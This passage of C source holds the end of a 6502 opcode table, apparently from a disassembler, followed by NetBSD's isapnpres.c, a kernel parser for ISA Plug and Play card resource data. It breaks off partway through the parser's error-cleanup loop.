{ "", 1, flIllegal, OH_Illegal, }, /* $07 */
{ "php", 1, flNone, OH_Implicit }, /* $08 */
{ "ora", 2, flNone, OH_Immediate }, /* $09 */
{ "asl", 1, flNone, OH_Accumulator }, /* $0a */
{ "", 1, flIllegal, OH_Illegal, }, /* $0b */
{ "", 1, flIllegal, OH_Illegal, }, /* $0c */
{ "ora", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $0d */
{ "asl", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $0e */
{ "", 1, flIllegal, OH_Illegal, }, /* $0f */
{ "bpl", 2, flLabel, OH_Relative }, /* $10 */
{ "ora", 2, flUseLabel, OH_DirectIndirectY }, /* $11 */
{ "", 1, flIllegal, OH_Illegal, }, /* $12 */
{ "", 1, flIllegal, OH_Illegal, }, /* $13 */
{ "", 1, flIllegal, OH_Illegal, }, /* $14 */
{ "ora", 2, flUseLabel, OH_DirectX }, /* $15 */
{ "asl", 2, flUseLabel, OH_DirectX }, /* $16 */
{ "", 1, flIllegal, OH_Illegal, }, /* $17 */
{ "clc", 1, flNone, OH_Implicit }, /* $18 */
{ "ora", 3, flUseLabel, OH_AbsoluteY }, /* $19 */
{ "", 1, flIllegal, OH_Illegal, }, /* $1a */
{ "", 1, flIllegal, OH_Illegal, }, /* $1b */
{ "", 1, flIllegal, OH_Illegal, }, /* $1c */
{ "ora", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $1d */
{ "asl", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $1e */
{ "", 1, flIllegal, OH_Illegal, }, /* $1f */
{ "jsr", 3, flLabel, OH_Absolute }, /* $20 */
{ "and", 2, flUseLabel, OH_DirectXIndirect }, /* $21 */
{ "", 1, flIllegal, OH_Illegal, }, /* $22 */
{ "", 1, flIllegal, OH_Illegal, }, /* $23 */
{ "bit", 2, flUseLabel, OH_Direct }, /* $24 */
{ "and", 2, flUseLabel, OH_Direct }, /* $25 */
{ "rol", 2, flUseLabel, OH_Direct }, /* $26 */
{ "", 1, flIllegal, OH_Illegal, }, /* $27 */
{ "plp", 1, flNone, OH_Implicit }, /* $28 */
{ "and", 2, flNone, OH_Immediate }, /* $29 */
{ "rol", 1, flNone, OH_Accumulator }, /* $2a */
{ "", 1, flIllegal, OH_Illegal, }, /* $2b */
{ "bit", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $2c */
{ "and", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $2d */
{ "rol", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $2e */
{ "", 1, flIllegal, OH_Illegal, }, /* $2f */
{ "bmi", 2, flLabel, OH_Relative }, /* $30 */
{ "and", 2, flUseLabel, OH_DirectIndirectY }, /* $31 */
{ "", 1, flIllegal, OH_Illegal, }, /* $32 */
{ "", 1, flIllegal, OH_Illegal, }, /* $33 */
{ "", 1, flIllegal, OH_Illegal, }, /* $34 */
{ "and", 2, flUseLabel, OH_DirectX }, /* $35 */
{ "rol", 2, flUseLabel, OH_DirectX }, /* $36 */
{ "", 1, flIllegal, OH_Illegal, }, /* $37 */
{ "sec", 1, flNone, OH_Implicit }, /* $38 */
{ "and", 3, flUseLabel, OH_AbsoluteY }, /* $39 */
{ "", 1, flIllegal, OH_Illegal, }, /* $3a */
{ "", 1, flIllegal, OH_Illegal, }, /* $3b */
{ "", 1, flIllegal, OH_Illegal, }, /* $3c */
{ "and", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $3d */
{ "rol", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $3e */
{ "", 1, flIllegal, OH_Illegal, }, /* $3f */
{ "rti", 1, flNone, OH_Rts }, /* $40 */
{ "eor", 2, flUseLabel, OH_DirectXIndirect }, /* $41 */
{ "", 1, flIllegal, OH_Illegal, }, /* $42 */
{ "", 1, flIllegal, OH_Illegal, }, /* $43 */
{ "", 1, flIllegal, OH_Illegal, }, /* $44 */
{ "eor", 2, flUseLabel, OH_Direct }, /* $45 */
{ "lsr", 2, flUseLabel, OH_Direct }, /* $46 */
{ "", 1, flIllegal, OH_Illegal, }, /* $47 */
{ "pha", 1, flNone, OH_Implicit }, /* $48 */
{ "eor", 2, flNone, OH_Immediate }, /* $49 */
{ "lsr", 1, flNone, OH_Accumulator }, /* $4a */
{ "", 1, flIllegal, OH_Illegal, }, /* $4b */
{ "jmp", 3, flLabel, OH_JmpAbsolute }, /* $4c */
{ "eor", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $4d */
{ "lsr", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $4e */
{ "", 1, flIllegal, OH_Illegal, }, /* $4f */
{ "bvc", 2, flLabel, OH_Relative }, /* $50 */
{ "eor", 2, flUseLabel, OH_DirectIndirectY }, /* $51 */
{ "", 1, flIllegal, OH_Illegal, }, /* $52 */
{ "", 1, flIllegal, OH_Illegal, }, /* $53 */
{ "", 1, flIllegal, OH_Illegal, }, /* $54 */
{ "eor", 2, flUseLabel, OH_DirectX }, /* $55 */
{ "lsr", 2, flUseLabel, OH_DirectX }, /* $56 */
{ "", 1, flIllegal, OH_Illegal, }, /* $57 */
{ "cli", 1, flNone, OH_Implicit }, /* $58 */
{ "eor", 3, flUseLabel, OH_AbsoluteY }, /* $59 */
{ "", 1, flIllegal, OH_Illegal, }, /* $5a */
{ "", 1, flIllegal, OH_Illegal, }, /* $5b */
{ "", 1, flIllegal, OH_Illegal, }, /* $5c */
{ "eor", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $5d */
{ "lsr", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $5e */
{ "", 1, flIllegal, OH_Illegal, }, /* $5f */
{ "rts", 1, flNone, OH_Rts }, /* $60 */
{ "adc", 2, flUseLabel, OH_DirectXIndirect }, /* $61 */
{ "", 1, flIllegal, OH_Illegal, }, /* $62 */
{ "", 1, flIllegal, OH_Illegal, }, /* $63 */
{ "", 1, flIllegal, OH_Illegal, }, /* $64 */
{ "adc", 2, flUseLabel, OH_Direct }, /* $65 */
{ "ror", 2, flUseLabel, OH_Direct }, /* $66 */
{ "", 1, flIllegal, OH_Illegal, }, /* $67 */
{ "pla", 1, flNone, OH_Implicit }, /* $68 */
{ "adc", 2, flNone, OH_Immediate }, /* $69 */
{ "ror", 1, flNone, OH_Accumulator }, /* $6a */
{ "", 1, flIllegal, OH_Illegal, }, /* $6b */
{ "jmp", 3, flLabel, OH_JmpAbsoluteIndirect }, /* $6c */
{ "adc", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $6d */
{ "ror", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $6e */
{ "", 1, flIllegal, OH_Illegal, }, /* $6f */
{ "bvs", 2, flLabel, OH_Relative }, /* $70 */
{ "adc", 2, flUseLabel, OH_DirectIndirectY }, /* $71 */
{ "", 1, flIllegal, OH_Illegal, }, /* $72 */
{ "", 1, flIllegal, OH_Illegal, }, /* $73 */
{ "", 1, flIllegal, OH_Illegal, }, /* $74 */
{ "adc", 2, flUseLabel, OH_DirectX }, /* $75 */
{ "ror", 2, flUseLabel, OH_DirectX }, /* $76 */
{ "", 1, flIllegal, OH_Illegal, }, /* $77 */
{ "sei", 1, flNone, OH_Implicit }, /* $78 */
{ "adc", 3, flUseLabel, OH_AbsoluteY }, /* $79 */
{ "", 1, flIllegal, OH_Illegal, }, /* $7a */
{ "", 1, flIllegal, OH_Illegal, }, /* $7b */
{ "", 1, flIllegal, OH_Illegal, }, /* $7c */
{ "adc", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $7d */
{ "ror", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $7e */
{ "", 1, flIllegal, OH_Illegal, }, /* $7f */
{ "", 1, flIllegal, OH_Illegal, }, /* $80 */
{ "sta", 2, flUseLabel, OH_DirectXIndirect }, /* $81 */
{ "", 1, flIllegal, OH_Illegal, }, /* $82 */
{ "", 1, flIllegal, OH_Illegal, }, /* $83 */
{ "sty", 2, flUseLabel, OH_Direct }, /* $84 */
{ "sta", 2, flUseLabel, OH_Direct }, /* $85 */
{ "stx", 2, flUseLabel, OH_Direct }, /* $86 */
{ "", 1, flIllegal, OH_Illegal, }, /* $87 */
{ "dey", 1, flNone, OH_Implicit }, /* $88 */
{ "", 1, flIllegal, OH_Illegal, }, /* $89 */
{ "txa", 1, flNone, OH_Implicit }, /* $8a */
{ "", 1, flIllegal, OH_Illegal, }, /* $8b */
{ "sty", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $8c */
{ "sta", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $8d */
{ "stx", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $8e */
{ "", 1, flIllegal, OH_Illegal, }, /* $8f */
{ "bcc", 2, flLabel, OH_Relative }, /* $90 */
{ "sta", 2, flUseLabel, OH_DirectIndirectY }, /* $91 */
{ "", 1, flIllegal, OH_Illegal, }, /* $92 */
{ "", 1, flIllegal, OH_Illegal, }, /* $93 */
{ "sty", 2, flUseLabel, OH_DirectX }, /* $94 */
{ "sta", 2, flUseLabel, OH_DirectX }, /* $95 */
{ "stx", 2, flUseLabel, OH_DirectY }, /* $96 */
{ "", 1, flIllegal, OH_Illegal, }, /* $97 */
{ "tya", 1, flNone, OH_Implicit }, /* $98 */
{ "sta", 3, flUseLabel, OH_AbsoluteY }, /* $99 */
{ "txs", 1, flNone, OH_Implicit }, /* $9a */
{ "", 1, flIllegal, OH_Illegal, }, /* $9b */
{ "", 1, flIllegal, OH_Illegal, }, /* $9c */
{ "sta", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $9d */
{ "", 1, flIllegal, OH_Illegal, }, /* $9e */
{ "", 1, flIllegal, OH_Illegal, }, /* $9f */
{ "ldy", 2, flNone, OH_Immediate }, /* $a0 */
{ "lda", 2, flUseLabel, OH_DirectXIndirect }, /* $a1 */
{ "ldx", 2, flNone, OH_Immediate }, /* $a2 */
{ "", 1, flIllegal, OH_Illegal, }, /* $a3 */
{ "ldy", 2, flUseLabel, OH_Direct }, /* $a4 */
{ "lda", 2, flUseLabel, OH_Direct }, /* $a5 */
{ "ldx", 2, flUseLabel, OH_Direct }, /* $a6 */
{ "", 1, flIllegal, OH_Illegal, }, /* $a7 */
{ "tay", 1, flNone, OH_Implicit }, /* $a8 */
{ "lda", 2, flNone, OH_Immediate }, /* $a9 */
{ "tax", 1, flNone, OH_Implicit }, /* $aa */
{ "", 1, flIllegal, OH_Illegal, }, /* $ab */
{ "ldy", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $ac */
{ "lda", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $ad */
{ "ldx", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $ae */
{ "", 1, flIllegal, OH_Illegal, }, /* $af */
{ "bcs", 2, flLabel, OH_Relative }, /* $b0 */
{ "lda", 2, flUseLabel, OH_DirectIndirectY }, /* $b1 */
{ "", 1, flIllegal, OH_Illegal, }, /* $b2 */
{ "", 1, flIllegal, OH_Illegal, }, /* $b3 */
{ "ldy", 2, flUseLabel, OH_DirectX }, /* $b4 */
{ "lda", 2, flUseLabel, OH_DirectX }, /* $b5 */
{ "ldx", 2, flUseLabel, OH_DirectY }, /* $b6 */
{ "", 1, flIllegal, OH_Illegal, }, /* $b7 */
{ "clv", 1, flNone, OH_Implicit }, /* $b8 */
{ "lda", 3, flUseLabel, OH_AbsoluteY }, /* $b9 */
{ "tsx", 1, flNone, OH_Implicit }, /* $ba */
{ "", 1, flIllegal, OH_Illegal, }, /* $bb */
{ "ldy", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $bc */
{ "lda", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $bd */
{ "ldx", 3, flUseLabel|flAbsOverride, OH_AbsoluteY }, /* $be */
{ "", 1, flIllegal, OH_Illegal, }, /* $bf */
{ "cpy", 2, flNone, OH_Immediate }, /* $c0 */
{ "cmp", 2, flUseLabel, OH_DirectXIndirect }, /* $c1 */
{ "", 1, flIllegal, OH_Illegal, }, /* $c2 */
{ "", 1, flIllegal, OH_Illegal, }, /* $c3 */
{ "cpy", 2, flUseLabel, OH_Direct }, /* $c4 */
{ "cmp", 2, flUseLabel, OH_Direct }, /* $c5 */
{ "dec", 2, flUseLabel, OH_Direct }, /* $c6 */
{ "", 1, flIllegal, OH_Illegal, }, /* $c7 */
{ "iny", 1, flNone, OH_Implicit }, /* $c8 */
{ "cmp", 2, flNone, OH_Immediate }, /* $c9 */
{ "dex", 1, flNone, OH_Implicit }, /* $ca */
{ "", 1, flIllegal, OH_Illegal, }, /* $cb */
{ "cpy", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $cc */
{ "cmp", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $cd */
{ "dec", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $ce */
{ "", 1, flIllegal, OH_Illegal, }, /* $cf */
{ "bne", 2, flLabel, OH_Relative }, /* $d0 */
{ "cmp", 2, flUseLabel, OH_DirectIndirectY }, /* $d1 */
{ "", 1, flIllegal, OH_Illegal, }, /* $d2 */
{ "", 1, flIllegal, OH_Illegal, }, /* $d3 */
{ "", 1, flIllegal, OH_Illegal, }, /* $d4 */
{ "cmp", 2, flUseLabel, OH_DirectX }, /* $d5 */
{ "dec", 2, flUseLabel, OH_DirectX }, /* $d6 */
{ "", 1, flIllegal, OH_Illegal, }, /* $d7 */
{ "cld", 1, flNone, OH_Implicit }, /* $d8 */
{ "cmp", 3, flUseLabel, OH_AbsoluteY }, /* $d9 */
{ "", 1, flIllegal, OH_Illegal, }, /* $da */
{ "", 1, flIllegal, OH_Illegal, }, /* $db */
{ "", 1, flIllegal, OH_Illegal, }, /* $dc */
{ "cmp", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $dd */
{ "dec", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $de */
{ "", 1, flIllegal, OH_Illegal, }, /* $df */
{ "cpx", 2, flNone, OH_Immediate }, /* $e0 */
{ "sbc", 2, flUseLabel, OH_DirectXIndirect }, /* $e1 */
{ "", 1, flIllegal, OH_Illegal, }, /* $e2 */
{ "", 1, flIllegal, OH_Illegal, }, /* $e3 */
{ "cpx", 2, flUseLabel, OH_Direct }, /* $e4 */
{ "sbc", 2, flUseLabel, OH_Direct }, /* $e5 */
{ "inc", 2, flUseLabel, OH_Direct }, /* $e6 */
{ "", 1, flIllegal, OH_Illegal, }, /* $e7 */
{ "inx", 1, flNone, OH_Implicit }, /* $e8 */
{ "sbc", 2, flNone, OH_Immediate }, /* $e9 */
{ "nop", 1, flNone, OH_Implicit }, /* $ea */
{ "", 1, flIllegal, OH_Illegal, }, /* $eb */
{ "cpx", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $ec */
{ "sbc", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $ed */
{ "inc", 3, flUseLabel|flAbsOverride, OH_Absolute }, /* $ee */
{ "", 1, flIllegal, OH_Illegal, }, /* $ef */
{ "beq", 2, flLabel, OH_Relative }, /* $f0 */
{ "sbc", 2, flUseLabel, OH_DirectIndirectY }, /* $f1 */
{ "", 1, flIllegal, OH_Illegal, }, /* $f2 */
{ "", 1, flIllegal, OH_Illegal, }, /* $f3 */
{ "", 1, flIllegal, OH_Illegal, }, /* $f4 */
{ "sbc", 2, flUseLabel, OH_DirectX }, /* $f5 */
{ "inc", 2, flUseLabel, OH_DirectX }, /* $f6 */
{ "", 1, flIllegal, OH_Illegal, }, /* $f7 */
{ "sed", 1, flNone, OH_Implicit }, /* $f8 */
{ "sbc", 3, flUseLabel, OH_AbsoluteY }, /* $f9 */
{ "", 1, flIllegal, OH_Illegal, }, /* $fa */
{ "", 1, flIllegal, OH_Illegal, }, /* $fb */
{ "", 1, flIllegal, OH_Illegal, }, /* $fc */
{ "sbc", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $fd */
{ "inc", 3, flUseLabel|flAbsOverride, OH_AbsoluteX }, /* $fe */
{ "", 1, flIllegal, OH_Illegal, }, /* $ff */
};
|
573174.c | /* $NetBSD: isapnpres.c,v 1.11 2001/11/13 07:56:41 lukem Exp $ */
/*-
* Copyright (c) 1996 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Christos Zoulas.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the NetBSD
* Foundation, Inc. and its contributors.
* 4. Neither the name of The NetBSD Foundation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Resource parser for Plug and Play cards.
*/
#include <sys/cdefs.h>
__KERNEL_RCSID(0, "$NetBSD: isapnpres.c,v 1.11 2001/11/13 07:56:41 lukem Exp $");
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/device.h>
#include <sys/malloc.h>
#include <machine/bus.h>
#include <dev/isa/isavar.h>
#include <dev/isapnp/isapnpreg.h>
#include <dev/isapnp/isapnpvar.h>
static int isapnp_wait_status __P((struct isapnp_softc *));
static struct isapnp_attach_args *
isapnp_newdev __P((struct isapnp_attach_args *));
static struct isapnp_attach_args *
isapnp_newconf __P((struct isapnp_attach_args *));
static void isapnp_merge __P((struct isapnp_attach_args *,
const struct isapnp_attach_args *));
static struct isapnp_attach_args *
isapnp_flatten __P((struct isapnp_attach_args *));
static int isapnp_process_tag __P((u_char, u_char, u_char *,
struct isapnp_attach_args **, struct isapnp_attach_args **,
struct isapnp_attach_args **));
/* isapnp_wait_status():
* Wait for the next byte of resource data to become available
*/
static int
isapnp_wait_status(sc)
struct isapnp_softc *sc;
{
int i;
/* wait up to 1 ms for each resource byte */
for (i = 0; i < 10; i++) {
if (isapnp_read_reg(sc, ISAPNP_STATUS) & 1)
return 0;
DELAY(100);
}
return 1;
}
/* isapnp_newdev():
* Add a new logical device to the current card; expand the configuration
* resources of the current card if needed.
*/
static struct isapnp_attach_args *
isapnp_newdev(card)
struct isapnp_attach_args *card;
{
struct isapnp_attach_args *ipa, *dev = ISAPNP_MALLOC(sizeof(*dev));
memset(dev, 0, sizeof(*dev));
dev->ipa_pref = ISAPNP_DEP_ACCEPTABLE;
memcpy(dev->ipa_devident, card->ipa_devident,
sizeof(card->ipa_devident));
if (card->ipa_child == NULL)
card->ipa_child = dev;
else {
for (ipa = card->ipa_child; ipa->ipa_sibling != NULL;
ipa = ipa->ipa_sibling)
continue;
ipa->ipa_sibling = dev;
}
return dev;
}
/* isapnp_newconf():
* Add a new alternate configuration to a logical device
*/
static struct isapnp_attach_args *
isapnp_newconf(dev)
struct isapnp_attach_args *dev;
{
struct isapnp_attach_args *ipa, *conf = ISAPNP_MALLOC(sizeof(*conf));
memset(conf, 0, sizeof(*conf));
memcpy(conf->ipa_devident, dev->ipa_devident,
sizeof(conf->ipa_devident));
memcpy(conf->ipa_devlogic, dev->ipa_devlogic,
sizeof(conf->ipa_devlogic));
memcpy(conf->ipa_devcompat, dev->ipa_devcompat,
sizeof(conf->ipa_devcompat));
memcpy(conf->ipa_devclass, dev->ipa_devclass,
sizeof(conf->ipa_devclass));
if (dev->ipa_child == NULL)
dev->ipa_child = conf;
else {
for (ipa = dev->ipa_child; ipa->ipa_sibling;
ipa = ipa->ipa_sibling)
continue;
ipa->ipa_sibling = conf;
}
return conf;
}
/* isapnp_merge():
* Merge the common device configurations to the subconfigurations
*/
static void
isapnp_merge(c, d)
struct isapnp_attach_args *c;
const struct isapnp_attach_args *d;
{
int i;
for (i = 0; i < d->ipa_nio; i++)
c->ipa_io[c->ipa_nio++] = d->ipa_io[i];
for (i = 0; i < d->ipa_nmem; i++)
c->ipa_mem[c->ipa_nmem++] = d->ipa_mem[i];
for (i = 0; i < d->ipa_nmem32; i++)
c->ipa_mem32[c->ipa_nmem32++] = d->ipa_mem32[i];
for (i = 0; i < d->ipa_nirq; i++)
c->ipa_irq[c->ipa_nirq++] = d->ipa_irq[i];
for (i = 0; i < d->ipa_ndrq; i++)
c->ipa_drq[c->ipa_ndrq++] = d->ipa_drq[i];
}
/* isapnp_flatten():
* Flatten the tree to a list of config entries.
*/
static struct isapnp_attach_args *
isapnp_flatten(card)
struct isapnp_attach_args *card;
{
struct isapnp_attach_args *dev, *conf, *d, *c, *pa;
dev = card->ipa_child;
ISAPNP_FREE(card);
for (conf = c = NULL, d = dev; d; d = dev) {
dev = d->ipa_sibling;
if (d->ipa_child == NULL) {
/*
* No subconfigurations; all configuration info
* is in the device node.
*/
d->ipa_sibling = NULL;
pa = d;
}
else {
/*
* Push down device configuration info to the
* subconfigurations
*/
for (pa = d->ipa_child; pa; pa = pa->ipa_sibling)
isapnp_merge(pa, d);
pa = d->ipa_child;
ISAPNP_FREE(d);
}
if (c == NULL)
c = conf = pa;
else
c->ipa_sibling = pa;
while (c->ipa_sibling)
c = c->ipa_sibling;
}
return conf;
}
/* isapnp_process_tag():
* Process a resource tag
*/
static int
isapnp_process_tag(tag, len, buf, card, dev, conf)
u_char tag, len, *buf;
struct isapnp_attach_args **card, **dev, **conf;
{
char str[64];
struct isapnp_region *r;
struct isapnp_pin *p;
struct isapnp_attach_args *pa;
#define COPY(a, b) strncpy((a), (b), sizeof(a)), (a)[sizeof(a) - 1] = '\0'
switch (tag) {
case ISAPNP_TAG_VERSION_NUM:
DPRINTF(("PnP version %d.%d, Vendor version %d.%d\n",
buf[0] >> 4, buf[0] & 0xf, buf[1] >> 4, buf[1] & 0xf));
return 0;
case ISAPNP_TAG_LOGICAL_DEV_ID:
(void) isapnp_id_to_vendor(str, buf);
DPRINTF(("Logical device id %s\n", str));
*dev = isapnp_newdev(*card);
COPY((*dev)->ipa_devlogic, str);
return 0;
case ISAPNP_TAG_COMPAT_DEV_ID:
(void) isapnp_id_to_vendor(str, buf);
DPRINTF(("Compatible device id %s\n", str));
if (*dev == NULL)
return -1;
if (*(*dev)->ipa_devcompat == '\0')
COPY((*dev)->ipa_devcompat, str);
return 0;
case ISAPNP_TAG_DEP_START:
if (len == 0)
buf[0] = ISAPNP_DEP_ACCEPTABLE;
if (*dev == NULL)
return -1;
*conf = isapnp_newconf(*dev);
(*conf)->ipa_pref = buf[0];
#ifdef DEBUG_ISAPNP
isapnp_print_dep_start(">>> Start dependent function ",
(*conf)->ipa_pref);
#endif
return 0;
case ISAPNP_TAG_DEP_END:
DPRINTF(("<<<End dependent functions\n"));
*conf = NULL;
return 0;
case ISAPNP_TAG_ANSI_IDENT_STRING:
buf[len] = '\0';
DPRINTF(("ANSI Ident: %s\n", buf));
if (*dev == NULL)
COPY((*card)->ipa_devident, buf);
else
COPY((*dev)->ipa_devclass, buf);
return 0;
case ISAPNP_TAG_END:
*dev = NULL;
return 0;
default:
/* Handled below */
break;
}
/*
* Decide which configuration we add the tag to
*/
if (*conf)
pa = *conf;
else if (*dev)
pa = *dev;
else
/* error */
return -1;
switch (tag) {
case ISAPNP_TAG_IRQ_FORMAT:
if (len < 2)
break;
if (len != 3)
buf[2] = ISAPNP_IRQTYPE_EDGE_PLUS;
p = &pa->ipa_irq[pa->ipa_nirq++];
p->bits = buf[0] | (buf[1] << 8);
p->flags = buf[2];
#ifdef DEBUG_ISAPNP
isapnp_print_irq("", p);
#endif
break;
case ISAPNP_TAG_DMA_FORMAT:
if (buf[0] == 0)
break;
p = &pa->ipa_drq[pa->ipa_ndrq++];
p->bits = buf[0];
p->flags = buf[1];
#ifdef DEBUG_ISAPNP
isapnp_print_drq("", p);
#endif
break;
case ISAPNP_TAG_IO_PORT_DESC:
r = &pa->ipa_io[pa->ipa_nio++];
r->flags = buf[0];
r->minbase = (buf[2] << 8) | buf[1];
r->maxbase = (buf[4] << 8) | buf[3];
r->align = buf[5];
r->length = buf[6];
if (r->length == 0)
pa->ipa_nio--;
#ifdef DEBUG_ISAPNP
isapnp_print_io("", r);
#endif
break;
case ISAPNP_TAG_FIXED_IO_PORT_DESC:
r = &pa->ipa_io[pa->ipa_nio++];
r->flags = 0;
r->minbase = (buf[1] << 8) | buf[0];
r->maxbase = r->minbase;
r->align = 1;
r->length = buf[2];
if (r->length == 0)
pa->ipa_nio--;
#ifdef DEBUG_ISAPNP
isapnp_print_io("FIXED ", r);
#endif
break;
case ISAPNP_TAG_VENDOR_DEF:
DPRINTF(("Vendor defined (short)\n"));
break;
case ISAPNP_TAG_MEM_RANGE_DESC:
r = &pa->ipa_mem[pa->ipa_nmem++];
r->flags = buf[0];
r->minbase = (buf[2] << 16) | (buf[1] << 8);
r->maxbase = (buf[4] << 16) | (buf[3] << 8);
r->align = (buf[6] << 8) | buf[5];
r->length = (buf[8] << 16) | (buf[7] << 8);
if (r->length == 0)
pa->ipa_nmem--;
#ifdef DEBUG_ISAPNP
isapnp_print_mem("", r);
#endif
break;
case ISAPNP_TAG_UNICODE_IDENT_STRING:
DPRINTF(("Unicode Ident\n"));
break;
case ISAPNP_TAG_VENDOR_DEFINED:
DPRINTF(("Vendor defined (long)\n"));
break;
case ISAPNP_TAG_MEM32_RANGE_DESC:
r = &pa->ipa_mem32[pa->ipa_nmem32++];
r->flags = buf[0];
r->minbase = (buf[4] << 24) | (buf[3] << 16) |
(buf[2] << 8) | buf[1];
r->maxbase = (buf[8] << 24) | (buf[7] << 16) |
(buf[6] << 8) | buf[5];
r->align = (buf[12] << 24) | (buf[11] << 16) |
(buf[10] << 8) | buf[9];
r->length = (buf[16] << 24) | (buf[15] << 16) |
(buf[14] << 8) | buf[13];
if (r->length == 0)
pa->ipa_nmem32--;
#ifdef DEBUG_ISAPNP
isapnp_print_mem("32-bit ", r);
#endif
break;
case ISAPNP_TAG_FIXED_MEM32_RANGE_DESC:
r = &pa->ipa_mem32[pa->ipa_nmem32++];
r->flags = buf[0];
r->minbase = (buf[4] << 24) | (buf[3] << 16) |
(buf[2] << 8) | buf[1];
r->maxbase = r->minbase;
r->align = 1;
r->length = (buf[8] << 24) | (buf[7] << 16) |
(buf[6] << 8) | buf[5];
if (r->length == 0)
pa->ipa_nmem32--;
#ifdef DEBUG_ISAPNP
isapnp_print_mem("FIXED 32-bit ", r);
#endif
break;
default:
#ifdef DEBUG_ISAPNP
{
int i;
printf("tag %.2x, len %d: ", tag, len);
for (i = 0; i < len; i++)
printf("%.2x ", buf[i]);
printf("\n");
}
#endif
break;
}
return 0;
}
/* isapnp_get_resource():
* Read the resources for card c
*/
struct isapnp_attach_args *
isapnp_get_resource(sc, c)
struct isapnp_softc *sc;
int c;
{
u_char d, tag;
u_short len;
int i;
int warned = 0;
struct isapnp_attach_args *card, *dev = NULL, *conf = NULL;
u_char buf[ISAPNP_MAX_TAGSIZE], *p;
memset(buf, 0, sizeof(buf));
card = ISAPNP_MALLOC(sizeof(*card));
memset(card, 0, sizeof(*card));
#define NEXT_BYTE \
if (isapnp_wait_status(sc)) \
goto bad; \
d = isapnp_read_reg(sc, ISAPNP_RESOURCE_DATA)
for (i = 0; i < ISAPNP_SERIAL_SIZE; i++) {
NEXT_BYTE;
if (d != sc->sc_id[c][i] && i != ISAPNP_SERIAL_SIZE - 1) {
if (!warned) {
printf("%s: card %d violates PnP spec; byte %d\n",
sc->sc_dev.dv_xname, c + 1, i);
warned++;
}
if (i == 0) {
/*
* Magic! If this is the first byte, we
* assume that the tag data begins here.
*/
goto parse;
}
}
}
do {
NEXT_BYTE;
parse:
if (d & ISAPNP_LARGE_TAG) {
tag = d;
NEXT_BYTE;
buf[0] = d;
NEXT_BYTE;
buf[1] = d;
len = (buf[1] << 8) | buf[0];
}
else {
tag = (d >> 3) & 0xf;
len = d & 0x7;
}
for (p = buf, i = 0; i < len; i++) {
NEXT_BYTE;
if (i < ISAPNP_MAX_TAGSIZE)
*p++ = d;
}
if (len >= ISAPNP_MAX_TAGSIZE) {
printf("%s: Maximum tag size exceeded, card %d\n",
sc->sc_dev.dv_xname, c + 1);
len = ISAPNP_MAX_TAGSIZE;
if (++warned == 10)
goto bad;
}
if (isapnp_process_tag(tag, len, buf, &card, &dev, &conf) == -1)
printf("%s: No current device for tag, card %d\n",
sc->sc_dev.dv_xname, c + 1);
}
while (tag != ISAPNP_TAG_END);
return isapnp_flatten(card);
bad:
for (card = isapnp_flatten(card); card; ) {
dev = card->ipa_sibling;
ISAPNP_FREE(card);
card = dev;
}
